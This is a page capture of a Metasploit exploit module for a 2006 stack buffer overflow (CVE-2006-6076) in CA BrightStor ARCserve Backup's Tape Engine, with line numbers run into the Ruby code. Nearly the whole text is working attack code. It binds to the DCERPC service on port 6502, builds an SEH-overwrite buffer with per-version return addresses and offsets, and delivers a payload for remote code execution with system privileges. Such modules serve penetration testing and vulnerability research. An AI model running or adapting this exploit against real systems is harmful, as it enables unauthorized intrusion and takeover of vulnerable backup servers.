Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/brightstor/tape_engine.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::DCERPC9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'CA BrightStor ARCserve Tape Engine Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup16r11.1 - r11.5. By sending a specially crafted DCERPC request, an attacker could overflow17the buffer and execute arbitrary code.18},19'Author' => [ 'MC', 'aushack' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2006-6076' ],24[ 'OSVDB', '30637' ],25[ 'BID', '21221' ],26[ 'EDB', '3086' ]27],28'Privileged' => true,29'DefaultOptions' =>30{31'EXITFUNC' => 'thread',32},33'Payload' =>34{35'Space' => 500,36'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",37'StackAdjustment' => -9500,38},39'Platform' => 'win',40'Targets' =>41[42[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x2380cdc7, 'Offset' => 1158 } ], #p/p/r cheyprod.dll 07/21/200443[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5, 'Offset' => 1132 } ], #p/p/r cheyprod.dll ??/??/????44],45'DisclosureDate' => '2006-11-21',46'DefaultTarget' => 1))4748register_options([ Opt::RPORT(6502) ])49end5051def exploit52connect5354handle = dcerpc_handle('62b93df0-8b02-11ce-876c-00805f842837', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])55print_status("Binding to #{handle} ...")5657dcerpc_bind(handle)58print_status("Bound to #{handle} ...")5960request = "\x00\x04\x08\x0c\x02\x00\x00\x00\x00\x00"61request << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"6263dcerpc.call(43, request)6465filler = "\x10\x09\xf9\x77" + rand_text_english(target['Offset'])66seh = generate_seh_payload(target.ret)67sploit = filler + seh6869print_status("Trying target #{target.name}...")7071begin72dcerpc_call(38, sploit)73rescue Rex::Proto::DCERPC::Exceptions::NoResponse74end7576handler77disconnect78end79end808182